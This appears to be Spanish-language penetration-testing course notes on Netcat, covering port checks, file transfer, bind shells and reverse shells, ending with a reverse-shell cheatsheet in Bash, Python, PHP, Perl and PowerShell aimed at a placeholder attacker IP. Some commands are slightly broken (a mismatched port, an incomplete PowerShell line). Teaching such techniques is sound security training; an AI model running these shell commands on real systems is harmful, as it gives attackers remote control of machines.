Shells
Bind & Reverse Shells
Netcat Fundamentals
Netcat
Netcat (también conocido como TCP/IP Swiss Army Knife) es una utilidad de red que se utiliza para leer y escribir datos en conexiones de red mediante TCP o UDP.
Netcat está disponible para sistemas operativos *NIX y Windows, lo que lo hace extremadamente útil para interacciones entre plataformas.
Netcat utiliza una arquitectura de comunicación cliente-servidor con dos modos:
Modo cliente: Netcat se puede utilizar en modo cliente para conectarse a cualquier puerto TCP/UDP, así como a un receptor Netcat (servidor).
Modo servidor: Netcat se puede utilizar para escuchar conexiones de clientes en un puerto específico.
Los evaluadores de penetración pueden utilizar Netcat para realizar las siguientes funciones:
Banner Grabbing
Port Scanning
Transferring Files
Bind/Reverse Shells
Demo: Netcat Fundamentals
Netcat, también conocido como nc
, es una herramienta versátil que los evaluadores de penetración y administradores de sistemas utilizan para realizar diversas tareas de red, como banner grabbing, escaneo de puertos, transferencia de archivos y configuración de shells bind/reverse. A continuación, se presentan algunos fundamentos y comandos básicos de Netcat.
Ver la documentación de Netcat
Para obtener una lista rápida de las opciones y usos de Netcat, puede usar el siguiente comando:
nc --help
Para una documentación más detallada, se puede consultar el manual (man
):
man nc
Aumentar la información de salida
El parámetro -v
aumenta la verbosidad de la salida, proporcionando más información sobre el estado de las conexiones y otras acciones realizadas:
nc -v
Conexión a puertos UDP
Para establecer una conexión a puertos utilizando el protocolo UDP, se puede usar el parámetro -u
:
nc -u <IP> <puerto>
Ver y enlazar una conexión
El parámetro -l
permite a Netcat escuchar en el puerto especificado, actuando como un servidor:
nc -l <puerto>
Deshabilitar la resolución DNS
El parámetro -n
deshabilita la resolución de nombres DNS, lo que puede acelerar las conexiones al no intentar resolver la dirección IP:
nc -n
Ejecución de comandos específicos
Netcat puede ejecutar comandos específicos al recibir una conexión, usando el parámetro -e
:
nc -e <comando>
Conexión a un puerto específico
Para conectar Netcat a un puerto específico en una máquina, se pueden utilizar comandos como los siguientes:
nc 10.4.20.244 80
nc -nv 10.4.20.244 80
Obtener estado de la conexión
Es útil verificar el estado de los servicios en diferentes puertos. Aquí hay ejemplos con los puertos FTP y SSH:
nc -nv 10.4.20.244 21
(UNKNOWN) [10.4.20.244] 21 (ftp) open
nc -nv 10.4.20.244 22
(UNKNOWN) [10.4.20.244] 22 (ssh) : Connection refused
Conexión UDP a un puerto específico
Para realizar conexiones a puertos específicos usando UDP, se utiliza el parámetro -u
junto con la opción de no resolver nombres DNS:
nc -nvu 10.4.20.244 445
Transferencia del Archivo NC
Netcat ya viene pre-empaquetado en Kali . Aquí se muestra un ejemplo para el envio del archivo nc.exe de Kali Linux a Windows.
Kali Linux
En Kali, se debe de identificar el paquete de nc.exe y posterior a ellos se puede utilizar uno de los metodos de transferencia como lo es http por lo cual puede configurar un servidor HTTP simple:
ls -al /usr/share/windows-binaries/ cd /usr/share/windows-binaries/ python -m SimpleHTTPServer 80
Windows
En Windows, se puede descargar
nc.exe
utilizando el comandocertutil
y luego ver la ayuda de Netcat:certutil -urlcache -f http://<IP>/nc.exe nc.exe nc.exe --help
Configurar una conexión cliente/servidor
Para configurar una conexión de tipo cliente/servidor, puede hacer lo siguiente:
Kali Linux como servidor
nc -nvlp 1234
Windows como cliente
nc.exe -nv <IP> 1234
Sentido inversoTambién puede configurar una conexión inversa, donde el cliente se convierte en servidor y viceversa:
Windows como servidor
nc.exe -nvlp 1234
Kali Linux como cliente
nc -nv 10.4.20.244 1234
Configuración de un oyente UDP
Configurar un oyente UDP es similar a configurar uno TCP, pero considere que UDP es un protocolo sin conexión y no permite la transmisión de texto de manera confiable:
# Windows
nc.exe -nvu <IP> 1234
# Kali
nc -nvlup 1234
# En UDP no se puede enviar texto debido a la funcionalidad del protocolo.
Transferencia de archivos
Netcat también se puede utilizar para transferir archivos entre sistemas. Aquí hay un ejemplo de cómo transferir un archivo de Kali Linux a Windows y viceversa:
Ejemplo de Kali a Windows
Primero, cree un archivo para transferir:
vim test.txt
En el sistema Windows, prepare el oyente para recibir el archivo:
nc.exe -nvlp 1234 > test.txt
En Kali Linux, envíe el archivo:
nc -nv 10.4.20.244 1234 < test.txt
Ejemplo de Windows a KaliCrear un archivo en Windows
test.txt
En Kali Linux, escuche para recibir el archivo:
nc -nvlp 1234 > test.txt
Enviar el archivo desde Windows a Kali:
nc.exe -nv 10.4.20.244 1234 < test.txt
Estos son solo algunos de los muchos usos de Netcat. La herramienta es increíblemente poderosa y flexible, permitiendo a los usuarios realizar una variedad de tareas de red con facilidad y eficiencia.
Quiz: Netcat Fundamentals


Bind Shells
Un shell de enlace es un tipo de shell remoto en el que el atacante se conecta directamente a un receptor en el sistema de destino, lo que permite la ejecución de comandos en el sistema de destino.
Se puede configurar un receptor Netcat para que ejecute un ejecutable específico como cmd.exe o /bin/bash cuando un cliente se conecta al receptor. Tener en cuenta que en windows podria ser un cmd.exe y powershell.exe y en linux podria ser un shell, /bin/bash, /bin/bash, etc.

Demo: Bind Shells
En esta demostración, configuraremos un shell de enlace utilizando Netcat tanto en sistemas Windows como en Linux.
Configuración en Windows
Inicie Netcat en el sistema de destino:
nc -nvlp 1234 -e cmd.exe
Esto abrirá un puerto de escucha (en este caso 1234) y ejecutará
cmd.exe
cuando se establezca una conexión.Conexión desde el sistema atacante:
nc -nv [IP_del_objetivo] 1234
Configuración en Linux
Inicie Netcat en el sistema de destino:
nc -nvlp -p 1234 -c /bin/bash
Esto abrirá un puerto de escucha (en este caso 1234) y ejecutará
/bin/bash
cuando se establezca una conexión.Conexión desde el sistema atacante:
nc -nv [IP_del_objetivo] 1234
Estas configuraciones permiten al atacante ejecutar comandos de forma remota en el sistema de destino.
Quiz: Bind Shells


Reverse Shells
Un shell inverso es un tipo de shell remoto donde el objetivo se conecta directamente a un oyente en el sistema del atacante, lo que permite la ejecución de comandos en el sistema objetivo.
Demo: Reverse Shells
A continuación, se muestra un ejemplo de cómo iniciar un shell inverso utilizando netcat
.
Paso 1: Configurar el Oyente en el Sistema del Atacante
En el sistema atacante, ejecute el siguiente comando para iniciar un oyente en el puerto 4444:
nc -lvnp 1234
Paso 2: Ejecutar el Shell Inverso en el Sistema Objetivo
En el sistema objetivo, ejecute el siguiente comando para conectarse al oyente del atacante:
nc -nv [IP_ATACANTE] 1234 -e /bin/bash
# El shell dependera el sistema operativo del objetivo, en caso de ser windows
# -e cmd.exe, como tambien puede ser powershell etc.
Una vez conectado, el atacante tendrá una shell remota en el sistema objetivo.
Quiz: Reverse Shells

Reverse Shell Cheatsheet
Un Reverse Shell Cheatsheet es una guía rápida con comandos y scripts utilizados para establecer una conexión inversa desde el sistema objetivo hacia el atacante. Esta técnica se utiliza en pruebas de seguridad y pentesting para obtener acceso remoto al sistema objetivo. Utilizando diversos lenguajes de programación y herramientas, como Bash, Python, Netcat, entre otros, se puede crear una conexión remota que permite al atacante ejecutar comandos en el sistema comprometido.
Bash
bash -i >& /dev/tcp/[IP_ATACANTE]/1234 0>&1
Netcat
nc -e /bin/sh [IP_ATACANTE] 1234
Python
python -c 'import socket,os,pty; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("[IP_ATACANTE]",1234)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); pty.spawn("/bin/sh")'
PHP
php -r '$sock=fsockopen("[IP_ATACANTE]",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Perl
perl -e 'use Socket;$i="[IP_ATACANTE]";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
PowerShell
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("[IP_ATACANTE]",1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}
Demo: Reverse Shell Cheatsheet
Recursos
Quiz: Reverse Shell Cheatsheet

Last updated